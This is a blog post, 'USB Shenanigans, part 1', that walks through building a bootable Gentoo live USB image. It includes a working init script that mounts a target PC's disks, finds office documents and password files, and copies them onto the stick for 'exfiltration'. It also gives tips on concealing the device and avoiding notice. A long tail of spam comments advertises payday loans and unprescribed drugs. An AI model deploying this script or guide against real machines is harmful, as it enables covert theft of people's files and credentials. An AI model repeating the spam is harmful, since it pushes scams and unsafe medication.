michaelkirkland.org/blog


USB Shenanigans, part 1

In this article, we'll be discussing how to create a small Linux system bootable from any USB mass storage device that can pull data of interest from most modern PCs, bypassing any software based security. If you've ever been told you can't bring electronics into a secure area, this is probably a big part of why. These shenanigans aren't restricted to thumb drives, they can just as easily be done from an iPod, most cameras and even some cell phones.

We'll be assuming a fairly high comfort level of Linux in general and the Gentoo build process specifically. If you're not comfortable doing a fresh Gentoo install with just a bootdisk and a stage 3 tarball, you'll probably want to read through the Gentoo Handbook and install it on your PC before you read this.


Creating the Linux system

Overview

To create the base system, we'll use Gentoo's Catalyst build tool. This software's intended purpose is creating the LiveCDs and stage archives used for bootstrapping a Gentoo system. Its developers don't support creating bootable USB devices with it, but it's flexible enough to do the job without much hassle.

To create the LiveCD iso from which we'll make the bootable USB device, we'll need a portage snapshot and a seed stage 3 archive.

Portage snapshot

A portage snapshot is a tarball containing all official ebuilds. You can download one from your favourite Gentoo mirror, but it's preferable to create an up to date one from your local system. Catalyst can do this for you with the command:

catalyst -s mpk.0

This will create a snapshot in your catalyst storedir named portage-mpk.0.tar.bz2.

Creating the seed stage 3

We need a seed stage to build into the LiveCD. Unfortunately we can't just download one from a Gentoo mirror, because those will be fairly old and when Catalyst tries to upgrade its packages some of them will block each other. Were we doing a normal install, we could easily fix these manually, but Catalyst needs it to work all in one go.

We'll need to create an up to date stage 1 tarball from scratch, from that we can build a stage 2 and then 3. We'll still need a stage 3 from a Gentoo mirror, but this will just be used as a chroot, to isolate the build process from your local system for the first stage. For the second and third stage, the preceding stage will provide the build environment.

Setting up the Catalyst environment

Ensure your Catalyst environment is stored on a partition with a fair amount of free space by editing /etc/catalyst/catalyst.conf. The examples in this article will all assume you've set the following:

storedir="/data/catalyst"
snapshot_cache="/data/catalyst/snapshot_cache"

Create the storedir, and under it create builds/default. Place the stage 3 you downloaded from the Gentoo mirror in builds/default. Keep a copy elsewhere, as Catalyst will delete it in some cases.

We will need a portage configuration directory, create it in /data/catalyst/portage. For our purposes you will only need the following in portage.unmask:

=app-misc/livecd-tools-1.0.40
=sys-apps/hwsetup-1.2

These packages are hard masked to prevent normal Gentoo users from installing them incidentally, but the are necessary for a LiveCD.

We'll also need a kernel config for the final build. We could create our own with the kernel build tools, but the default Gentoo LiveCD config works for our purposes. Make a kconfig directory in the Catalyst storedir, and place the kernel config in it.

Creating the seed stage 1

Write the following to a file named seed-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-2007.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 1 tarball by running:

catalyst -v -f seed-stage1.spec

When this finishes, you'll have a freshly made stage1-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 2.

Creating the seed stage 2

Write the following to a file named seed-stage2.spec:

subarch: i686
version_stamp: mpk.0
target: stage2
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage1-i686-mpk.0
portage_confdir: /data/catalyst/portage
chost: i686-pc-linux-gnu
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 2 tarball by running:

catalyst -v -f seed-stage2.spec

When this finishes, you'll have a freshly made stage2-i686-mpk.0.tar.bz2 in your builds/default directory from which we can build a stage 3.

Creating the seed stage 3

Write the following to a file named seed-stage3.spec:

subarch: i686
version_stamp: mpk.0
target: stage3
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage2-i686-mpk.0
portage_confdir: /data/catalyst/portage
pkgcache_path:
cflags: -Os -pipe -fomit-frame-pointer
cxxflags: -Os -pipe -fomit-frame-pointer

Build the up to date stage 3 tarball by running:

catalyst -v -f seed-stage3.spec

When this finishes, you'll have a freshly made stage3-i686-mpk.0.tar.bz2 in your builds/default directory. You now have the stub of a working Gentoo system we can build into a LiveCD.

Creating the LiveCD

Now we're ready to start building the LiveCD. Catalyst splits this into two stages. In stage 1, we build all the packages above those in the basic stage 3, save those that depend on the kernel. In stage 2 we build the kernel and any packages that depend on it, unmerge any any packages not needed on the final release (such as the kernel sources), setup the init scripts and package the whole thing in a bootable iso file.

Creating the LiveCD stage 1

Write the following to a file named liveusb-stage1.spec:

subarch: i686
version_stamp: mpk.0
target: livecd-stage1
rel_type: default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath: default/stage3-i686-mpk.0
portage_confdir: /data/catalyst/portage

livecd/use: -* ipv6 socks5 livecd fbcon ncurses readline ssl
livecd/packages: livecd-tools dhcpcd acpid gentoo-sources syslog-ng links dosfstools jfsutils 
xfsprogs e2fsprogs reiserfsprogs ntfsprogs screen iputils hwdata-gentoo hwsetup vim ethtool

Build the LiveCD stage 1 by running:

catalyst -v -f liveusb-stage1.spec

In particular, note the livecd/use and livecd/packages variables. The former sets up the default use flags as would be defined in make.conf in a standard Gentoo system, and the latter is the list of packages that will be included above the standard stage 3 packages.

Creating the LiveCD stage 2

Write the following to a file named liveusb-stage2.spec:

subarch:i686
version_stamp: mpk.0
target:livecd-stage2
rel_type:default
profile: default-linux/x86/2007.0
snapshot: mpk.0
source_subpath:default/livecd-stage1-i686-mpk.0
portage_confdir:/data/catalyst/portage

livecd/type:generic-livecd
livecd/iso: /data/catalyst/livecd_shenanigans.iso
livecd/motd:"Welcome to the USB Shenanigans drive"
livecd/rcadd:
        search_partitions|default
livecd/rcdel:
        spind|default
livecd/root_overlay: /data/catalyst/overlay
livecd/fstype: squashfs
livecd/cdtar: /usr/lib/catalyst/livecd/cdtar/isolinux-3.09-cdtar.tar.bz2
livecd/volid: Shenanigans Live CD
livecd/gk_mainargs:

Build the LiveCD stage 2 by running:

catalyst -v -f liveusb-stage2.spec

Take particular note of the livecd/rcadd, livecd/rcdel, livecd/root_overlay and livecd/bootargs variables.

The livecd/rcadd and rcdel variables allow us to add or remove init scripts from any runlevel as we would with the rc-update command on a normal Gentoo system. In our case, we want to add the script that searches local partitions as described in the Shenanigans section below, and remove the spind service, which would keep the CD drive spinning if we intended to use this as a LiveCD.

The livecd/root_overlay allows us to splice in files not associated with a package. In our case, we use this to include our shenanigans scripts.

When this finishes, you'll have a working Gentoo system in an iso you can burn. If you're happy carrying around a CD in your pocket, you can skip the rest of the build and move on to the Shenanigans section.

Creating a LiveUSB image from the LiveCD iso

We're almost done. We have an iso that can be booted from CD, but we'll not be able to write anything back to that CD when we boot it, and CDs are rather cumbersome to carry around. Flash drives are dirt cheap, come in much larger capacities, and can be booted from on most modern systems. With a little tweaking, we can turn our LiveCD into a LiveUSB.

Preparing the Flash disk

We'll be using a standard USB Mass Storage flash disk, fat16/32 format. We could boot Linux from almost any filesystem, but sticking to the standard will give us advantages we'll explore further in Part 2. Format your drive as such if it isn't already, and install a master boot record to the root of the drive with the following command:

mbr-install /dev/sda

Install app-admin/mbr from portage if necessary, and replace /dev/sda with the device node your flash disk is on. Be careful not to overwrite your system's boot record if you have SATA drives.

Files needed

From the iso generated by Catalyst, copy the following files to the root of your flash disk:
image.squashfs
livecd
isolinux/gentoo
isolinux/gentoo.igz

Bootloader

Write the following to a file named syslinux.cfg at the root of your flash disk:

default gentoo
timeout 0
prompt 1

label gentoo
  kernel gentoo
  append root=/dev/ram0 init=/linuxrc cdroot=/dev/sd[a-z][0-9] slowusb looptype=squashfs 
loop=/image.squashfs initrd=gentoo.igz

This is almost identical to the isolinux.cfg Catalyst builds for the LiveCD. We've taken out the boot option that enables a framebuffered console. That's pretty, but it isn't necessary for our purposes and may cause trouble on some systems. We've added cdroot=/dev/sd[a-z][0-9] to the kernel parameters. This gets passed directly into a script in Catalyst's initrd (gentoo.igz) that it uses to determine where the squashfs filesystem is. Normally it would iterate through a long list of potential CD device nodes, looking for one that's mountable and contains a file named livecd in the root. It normally skips over the sd* nodes, as optical media is put on sr* nodes. /dev/sd[a-z][0-9] is expanded by bash into a list of all sd* partitions on the booted system, and Catalyst's script then goes on to look for the one with livecd at the root.

Shenanigans - Searching the local system


Now we come to the point of the exercise. We've got a bootable USB system that can be installed on an easily concealable thumb drive or an apparently innocuous personal media player or camera. This is where we learn why it's never safe to leave a system with sensitive data accessible to people we don't trust.

A very simple script, like the gentoo init script below, can quickly search though the local system for potentially interesting files and deposit them on the flash device. Using $findopts to match files from popular office suites and common password files, this script runs through my old laptop in about 5 minutes. When it's done, you can reboot or immediately remove the flash disk, as it flushes itself.

#!/sbin/runscript
depend(){
  need hdparm
}

start() {
  einfo "Searching filesystems"

  #tease the real root of the flash disk out of the mount command.
  cdroot=`mount|sed -n "s/\(\/dev\/sd[a-z][0-9]\) on \/mnt\/cdrom.*/\1/p"`

  ebegin "Opening $cdroot for exfiltration"
  #remount the flash drive as writeable so we can tar files into it
  mount $cdroot -o remount,rw
  eend $?

  cd /dev
  for partition in [hs]d[a-z][0-9]
  do
    if [ "/dev/$partition" != $cdroot ]
    then
      ebegin "Mounting /dev/$partition"
      mkdir -p /mnt/$partition
      mount /dev/$partition /mnt/$partition
      eend $?
      if [ $? = 0 ]
      then
	ebegin "Searching /mnt/$partition"
	find /mnt/$partition $findopts > /tmp/$partition.files
	tar cpjf /mnt/cdrom/$partition.tar.bz2 -T /tmp/$partition.files
        eend $?
	umount /mnt/$partition
      fi
      rmdir /mnt/$partition
    fi
  done

  ebegin "Flushing $cdroot"
  #put the flash drive back in read only mode so it gets flushed
  mount $cdroot -o remount,ro
  eend $?
}

Limitations

The primary drawback of this procedure is that it requires the target machine to be rebooted, possibly alerting the operator. (Though this can be mitigated on some systems with hibernate functions if they are accessible.) In part 2 we will discuss a similar procedure which does not require a reboot.


References and further reading

  1. HOWTO build a LiveCD with Catalyst for newbies
  2. Gentoo Handbook - Initscripts
Bookmark and Share

PruittSharon34 said on 2011-09-01 11:32:25

If you are in uncomfortable position and have got no money to move out from that, you will have to take the mortgage loans. Just because it should aid you unquestionably. I take financial loan every single year and feel good because of it.


credit loans said on 2012-05-14 16:01:19

If you want to buy a car, you will have to receive the business loans. Moreover, my father commonly takes a short term loan, which occurs to be the most fast.


IllemaHette said on 2012-12-31 10:08:45

GpotFOMQ Moncler Jacken
cyypWUZog http://www.uggforespana.eu
gqdfngcfly Ugg Outlet
PJSqGwqjd fmemsh Moncler Jacken
KpbBEZTDwzk SwoyXUPM Ugg Pas Cher France
esrpOPPma HmxpCVYH http://www.uggportugalcomprar.eu
cizaFYFuy


pawlepifede said on 2013-02-12 00:22:56

site - click , http://commentjob.ru/#tihou here


keennyIcedync said on 2013-02-22 01:39:13

cheap generic levitra - buy cheap levitra , http://levitranowdirect.com/#gpdft buy generic levitra


Pahblesse said on 2013-02-26 15:30:39

payday loans - direct lender payday loans , http://paydayloansheredirectly.com/#ildra payday loans


WelfToonele said on 2013-02-28 17:57:55

payday loans online - payday loans online , http://loansheredirectly.com/#upens payday loans online


weethiple said on 2013-03-06 05:16:21

cheap accutane - accutane online , http://buyonlineaccutanenow.com/#uozhz accutane 20 mg


weethiple said on 2013-03-08 02:52:55

buy accutane - accutane 30 mg , http://buyonlineaccutanenow.com/#bszwl accutane online without prescription


Wrerposse said on 2013-03-11 03:15:04

kamagra online - kamagra online , http://kamagradirectly.com/#skoml kamagra without prescription


keveelufalm said on 2013-03-12 11:22:11

cialis without prescription - cialis 10 mg , http://buycialisdirectlyonline.com/#ptffn buy generic cialis


CeannawThed said on 2013-03-12 15:13:08

cheap propecia online - buy propecia , http://propeciaboutiqueone.com/#xgved propecia 1 mg


MqhHfqfvAg said on 2013-03-13 12:12:38

http://www.cafb29b24.org/docs/buyativan/#for-sale ativan for dogs - considered overdose ativan


lqeoDwMBVa said on 2013-03-14 09:58:16

ativan drug ativan recreational uses - what is lorazepam 1 mg equal to


camAmedeHaw said on 2013-03-15 09:36:52

cheap zithromax 250 mg - buy zithromax online , http://buyreliablezithromaxonline.com/#iyqzv zithromax uk


Drellaadatt said on 2013-03-17 11:08:22

buy cialis - cheap cialis online , http://primecialisonline.com/#lbhvs cialis 200 mg


camAmedeHaw said on 2013-03-17 15:00:18

buy generic zithromax uk - zithromax 500 mg , http://buyreliablezithromaxonline.com/#ulxbq zithromax online without prescription


Agenemezerm said on 2013-03-19 21:06:53

buy generic priligy - buy priligy , http://priligyonlinemeds.com/#paxpl dapoxetine online


DuraAdarobodo said on 2013-03-20 16:55:42

buy kamagra online - kamagra online , http://buykamagradirectly.com/#ysbzj cheap kamagra online


liedlyinfusly said on 2013-03-21 09:56:45

no fax payday loans - payday loans , http://instpaydayloansnofax.com/#pbjyq no fax payday loans


Agenemezerm said on 2013-03-21 17:46:56

buy generic priligy - buy generic priligy , http://priligyonlinemeds.com/#wqycd generic priligy


Agockouro said on 2013-03-22 17:33:29

lasix 100 mg - cheap lasix , http://buylasixonlinenow.com/#hxbye buy lasix


treplisse said on 2013-03-25 10:29:48

propecia 5 mg - propecia 5 mg , http://buypropeciadirectly.com/#ftlkz generic propecia


FaimaLiameHor said on 2013-03-26 15:53:53

amoxil online without prescription - amoxil without prescription , http://buyamoxildirectly.com/#tiqyf amoxil online


foerieKaf said on 2013-03-26 19:37:13

cheap cytotec online - buy generic cytotec , http://buycytotecdirectly.com/#mdiaj buy cytotec


ClibleSnine said on 2013-03-27 16:30:58

Avoid the allergens that bring about reactions. That may appear obvious, but many people feel they could just "tough it out". The reality is, the greater you exposure yourself to substances, the less strong your immune system gets to be. Make a conscious hard work to protect yourself from points you know you happen to be allergic to. T22wyuul


ClibleSnine said on 2013-03-28 08:25:32

Don't neglect the bug squirt and sunscreen lotion on your own up coming camping out vacation. A sunburn or an abundance of insects bites can change any outdoor camping journey right into a horror. When you deliver this defense along with you, you may defend against these bothersome situations. Load up them in plastic-type material luggage, therefore they will not wreck your other camping outdoors equipment. T22wyuul


ClibleSnine said on 2013-03-29 06:05:43

When your favorite coloration nail improve is becoming empty and a bit tacky, include a number of declines of nail shine removal allow it new daily life! You don't need to get rid of one half vacant bottle of nail lacquer, just add a modest amount of regular removal, shake properly as well as your outdated shine will continue to work like new once more. T22wyuul


cothslall said on 2013-03-29 18:19:15

buy renova 20 mg - renova 20 mg , http://buyrenovaonlinemeds.com/#yitzx generic renova


Ligethige said on 2013-03-31 00:19:05

buy deltasone online - cheap generic deltasone , http://buydeltasoneonlinenow.com/#oxgja deltasone 20 mg


Enligarbign said on 2013-04-08 05:19:49

propecia 5 mg - order cheap propecia , http://genericpropecianowonline.com/#bqblj order cheap propecia


rhinquereular said on 2013-04-10 07:59:51

buy cheap cialis - cialis 40 mg , http://ordergenericcialisnow.com/#blyeg order generic cialis


gredaymearake said on 2013-04-11 05:41:20

order cheap viagra - buy viagra online , http://genericviagranowonline.com/#opjyb viagra 100 mg


photruchesorp said on 2013-04-18 05:16:02

order levitra - cheap levitra , http://genericlevitraednow.com/#coraa levitra 40 mg


GowAlieli said on 2013-04-19 07:04:18

levitra online without prescription - buy levitra , http://cheaplevitraednow.com/#bcgqj levitra 20 mg


Isockoutt said on 2013-04-23 07:44:01

propecia 5 mg - propecia 1 mg , http://propeciagenericonlinenow.com/#caxep propecia 1 mg


vaxAdvodaytap said on 2013-04-25 00:42:08

buy generic propecia - propecia 1 mg , http://cheappropeciaonlinenow.com/#bhxoa cheap propecia


kildinvon said on 2013-04-25 21:07:08

generic cialis - cialis 60 mg , http://cheapcialisednow.com/#iezsv cialis online


Trordidodavot said on 2013-04-28 17:53:15

buy propecia online - propecia 5 mg , http://ordercheappropecianow.com/#qrxge order propecia


Jeoxenincoria said on 2013-04-30 06:35:23

buy viagra - viagra online , http://ordergenericviagranow.com/#eigwl viagra 150 mg


Lypeirredge said on 2013-04-30 19:05:16

levitra 60 mg - buy levitra , http://genericlevitranowonline.com/#gknmm levitra online without prescription


noiniamiB said on 2013-05-02 21:54:44

Latest every three months エルメス バッグ
results, adapted at dependable return rates, Hermes takings increased about エルメス 店舗
12.8% to 856.8 million euros, compared with 776.9 million euros in the uniform duration in 2012, an cultivate of more than 11% of エルメス 財布 メンズ
the fellow place participants watch, but compared with sales in the creation part of 2012, an augment of エルメス 財布
17.6%words, has slowed; at close swap rates, Hermes in the prime point エルメス 財布
revenue addition of 10.3%, during the spell of reciprocate ascendancy fluctuations derive the comrades 19 million euros. エルメス バッグ
In uniting, the flock's retail hermes エルメス
way sales evolvement of 13.6%, the wholesale neck sales spread of 9.9%.


UndodoTip said on 2013-05-07 01:40:57

online payday loans - direct lender payday loans , http://truepaydayloansnow.com/#qkljr direct lender payday loans


Allotshah said on 2013-05-08 09:17:14

cialis online without prescription - buy cheap cialis , http://truecialishere.com/#nlkzv buy cheap cialis


Sleetsweamime said on 2013-05-08 20:34:23

buy generic deltasone - deltasone 10 mg , http://truedeltasonenow.com/#vizlm buy deltasone


upholuperpemy said on 2013-05-10 12:38:55

buy viagra 150 mg - viagra 50 mg , http://trueviagrahere.com/#flhme cheap viagra 120 mg


MemEleDePal said on 2013-05-11 08:44:49

The Grand レイバン 店舗
General Conduct of Attribute Supervision, Inspection and Quarantine announced yesterday that the 2012 inhabitant スポーツメガネ
optical linkage checks showed, sunglasses, eyeglass frames two types of products distinction representational pass estimate of 90.9% and 91.5%, respectively. Sunglasses products tangled in the heavy water サングラス 人気
rank problems are bearable trend correspondence, logos and other projects failed; demonstration frames tangled the power ブランドサングラス
grandeur problems are inter-chip stiffness, of a mind lens bounds of the box method, rayban wayfarer
anti-sweat corrosion cast failed.The squire, a infant up of 261 glasses manufacturers and 507 in Beijing, Tianjin, Shanghai and other places eyewear distribution doubtlessly carried bolt サングラス ブランド
locality checks. Involving 237 direction (including commission processing) shaping レイバン ウェイファーラー
of 351 batches of sunglasses and 389 completion happen (including the commission processing) pattern of 551 batches of exhibit frames products. http://sunglasses.amigasa.jp/
Splodge checks found that a all-out of 32 batches of substandard sunglasses, event frames a unrestricted of 47 batches of substandard.
人気サングラス


Snastmambpani said on 2013-05-11 22:16:48

payday loans online - payday loans online , http://fastcashloansdirectly.com/#rftdf payday loans online


Wrermadrenura said on 2013-05-12 00:23:45

GypemarpWaymn Louis Vuitton Outlet
Jerglycle Look Here
nainiacinnilk


CreafSoaree said on 2013-05-12 09:41:02

buy propecia - order propecia , http://truepropeciahere.com/#uzlrz order propecia


lunlinahFap said on 2013-05-13 21:44:24

order propecia - generic propecia , http://truepropecianow.com/#lnsgm order cheap propecia


lunlinahFap said on 2013-05-13 21:57:12

propecia 1 mg - buy propecia online , http://truepropecianow.com/#fjnxc propecia 1 mg


insuroGrousty said on 2013-05-13 23:57:57

cash loans - cash loans online , http://cashloansherenow.com/#mahsq cash loans online


CrappyHanna said on 2013-05-14 02:11:16

levitra 10 mg - cheap generic levitra , http://truelevitranow.com/#vyltj levitra 40 mg


Bofobectzef said on 2013-05-14 07:25:22

payday loans - payday loans online , http://cashloansadvanceherenow.com/#bgmwy cash loans online


apossyfap said on 2013-05-14 17:26:15

clomid without prescription - generic clomid , http://trueclomidnow.com/#debio clomid online


SuedgeBerpege said on 2013-05-14 21:33:56

buy priligy 60 mg - buy priligy 30 mg , http://truepriligynow.com/#wwvja priligy online without prescription


Caurnilkinaiz said on 2013-05-15 06:20:25

cash advance instant approval - cash advance instant approval , http://cashadvanceherenow.com/#yijtb cash advance


DawSoomaVadia said on 2013-05-17 17:45:00

buy lasix - generic lasix without prescription , http://gettruelasix.com/#dpinh buy lasix


Reogourgy said on 2013-05-18 05:32:50

cash advance - cash advance , http://getcashadvancenowhere.com/#hjroz cash advance


ruizeCineetle said on 2013-05-18 21:00:03

buy priligy 90 mg - generic priligy , http://gettruepriligy.com/#gakhu generic priligy


occuctaligo said on 2013-05-20 07:16:37

order priligy - buy priligy online , http://gettruepriligynow.com/#smsmy buy priligy 90 mg


Blachereurl said on 2013-05-21 18:32:09

order propecia - buy propecia online , http://gettruepropecianow.com/#qlzco cheap propecia


foodagorpop said on 2013-05-23 15:51:18

cheap cialis 10 mg - buy cialis 20 mg , http://gettruecialis.com/#zmszg buy cheap cialis


saussyUphoruh said on 2013-05-23 17:54:54

buy levitra - buy levitra , http://gettruelevitranow.com/#wadfh cheap levitra